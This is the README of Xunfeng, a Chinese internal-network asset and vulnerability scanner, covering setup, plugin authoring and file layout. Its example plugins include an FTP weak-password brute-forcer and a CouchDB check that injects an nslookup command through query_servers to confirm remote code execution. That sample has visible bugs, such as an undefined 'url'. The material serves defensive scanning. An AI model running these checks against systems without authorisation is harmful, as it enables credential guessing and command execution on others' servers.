巡風
巡風是一款適用於企業內網的漏洞快速應急、巡航掃描
系統,通過搜索功能可清晰的瞭解內部網絡資產分佈情況,並且可指定漏洞插件對搜索結果進行快速漏洞檢測並輸出結果報表。
本軟件只做初步探測,無攻擊性行爲。請使用者遵守《中華人民共和國網絡安全法》,勿將巡風用於非授權的測試,YSRC/同程安全應急響應中心/同程網絡科技股份有限公司不負任何連帶法律責任。
其主體分爲兩部分:網絡資產識別引擎
,漏洞檢測引擎
。
網絡資產識別引擎會通過用戶配置的IP範圍定期自動
的進行端口探測(支持調用MASSCAN),並進行指紋識別,識別內容包括:服務類型、組件容器、腳本語言、CMS。
漏洞檢測引擎會根據用戶指定的任務規則
進行定期或者一次性的漏洞檢測,其支持2種插件類型、標示符與腳本,均可通過web控制檯進行添加。
安裝指南
國內鏡像 https://code.aliyun.com/ysrc/xunfeng.git
配置指南
- 在配置-爬蟲引擎-網絡資產探測列表 設置內網IP段**(必須配置,否則無法正常使用,每個IP段最大限制爲10個B段)**。
- 在配置-爬蟲引擎-資產探測週期 設置計劃規則。
- 可啓用MASSCAN(探測範圍爲全端口)代替默認的端口探測腳本,需安裝好MASSCAN後配置程序完整絕對路徑,點擊開啓即可完成切換。 MASSCAN需chmod +x 給執行權限,並手動執行確保可正常運行後再開啓。
- 其他配置根據自身需要進行修改。
插件編寫
漏洞插件支持2種類型,json標示與python腳本,可以通過官方推送渠道安裝或者自行添加。
JSON標示符
Python腳本
插件標準非常簡潔,只需通過 get_plugin_info
方法定義插件信息,check
函數檢測漏洞即可。
# coding:utf-8
import ftplib
def get_plugin_info(): # 插件描述信息
plugin_info = {
"name": "FTP弱口令",
"info": "導致敏感信息泄露,嚴重情況可導致服務器被入侵控制。",
"level": "高危",
"type": "弱口令",
"author": "wolf@YSRC",
"url": "",
"keyword": "server:ftp", # 推薦搜索關鍵字
}
return plugin_info
def check(ip, port, timeout): # 漏洞檢測代碼
user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web']
for user in user_list:
for pass_ in PASSWORD_DIC: # 密碼字典無需定義,程序會自動爲其賦值。
pass_ = str(pass_.replace('{user}', user))
try:
ftp = ftplib.FTP()
ftp.timeout = timeout
ftp.connect(ip, port)
ftp.login(user, pass_)
if pass_ == '': pass_ = 'null'
if user == 'ftp' and pass_ == 'ftp': return u"可匿名登錄"
return u"存在弱口令,賬號:%s,密碼:%s" % (user, pass_) # 成功返回結果,內容顯示在掃描結果頁面。
except:
pass
此外系統內嵌了輔助驗證功能:
DNS:觸發,nslookup randomstr IP,驗證, http://ip:8088/randomstr ,返回YES即存在。
HTTP:觸發,http://ip:8088/add/randomstr ,驗證, http://ip:8088/check/randomstr ,返回YES即存在。
使用例子:
import urllib2
import random
import socket
def get_plugin_info(): # 插件描述信息
plugin_info = {
"name": "CouchDB未授權訪問",
"info": "導致敏感信息泄露,攻擊者可通過控制面板執行系統命令,導致服務器被入侵。",
"level": "高危",
"type": "未授權訪問",
"author": "wolf@YSRC",
"url": "",
"keyword": "server:couchdb", # 推薦搜索關鍵字
}
def get_ver_ip(ip):
csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
csock.connect((ip, 80))
(addr, port) = csock.getsockname()
csock.close()
return addr
def random_str(len):
str1=""
for i in range(len):
str1+=(random.choice("ABCDEFGH1234567890"))
return str(str1)
def check(ip,port,timeout):
rand_str = random_str(8)
cmd = random_str(4)
server_ip = get_ver_ip()
req_list = [
["/_config/query_servers/%s"%(cmd),'"nslookup %s %s>log"'%(rand_str,server_ip)],
["/vultest123",''],
["/vultest123/test",'{"_id":"safetest"}']
]
for req_info in req_list:
try:
request = urllib2.Request(url+req_info[0],req_info[1],timeout=timeout)
request.get_method = lambda: 'PUT'
urllib2.urlopen(request)
except:
pass
try:
req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11",'{"language":"%s","map":""}'%(cmd))
req_exec.add_header("Content-Type","application/json")
urllib2.urlopen(req_exec)
except:
pass
check = urllib2.urlopen("http://%s:8088/%s"%(server_ip,rand_str)).read()
if 'YES' in check:
return u"未授權訪問"
流程演示視頻
文件結構
│ Config.py # 配置文件
│ README.md # 說明文檔
│ Run.bat # Windows啓動服務
│ Run.py # webserver
│ Run.sh # Linux啓動服務,重新啓動前需把進程先結束掉
│
├─aider
│ Aider.py # 輔助驗證腳本
│
├─db # 初始數據庫結構
│
├─masscan # 內置編譯好的Masscan程序(CentOS win64適用),需要chmod+x給執行權限(root),若無法使用請自行編譯安裝。
├─nascan
│ │ NAScan.py # 網絡資產信息抓取引擎
│ │
│ ├─lib
│ │ common.py 其他方法
│ │ icmp.py # ICMP發送類
│ │ log.py # 日誌輸出
│ │ mongo.py # 數據庫連接
│ │ scan.py # 掃描與識別
│ │ start.py # 線程控制
│ │
│ └─plugin
│ masscan.py # 調用Masscan腳本
│
├─views
│ │ View.py # web請求處理
│ │
│ ├─lib
│ │ Conn.py # 數據庫公共類
│ │ CreateExcel.py # 表格處理
│ │ Login.py # 權限驗證
│ │ QueryLogic.py # 查詢語句解析
│ │
│ ├─static #靜態資源目錄
│ │
│ └─templates #模板文件目錄
│
└─vulscan
│ VulScan.py # 漏洞檢測引擎
│
└─vuldb # 漏洞庫目錄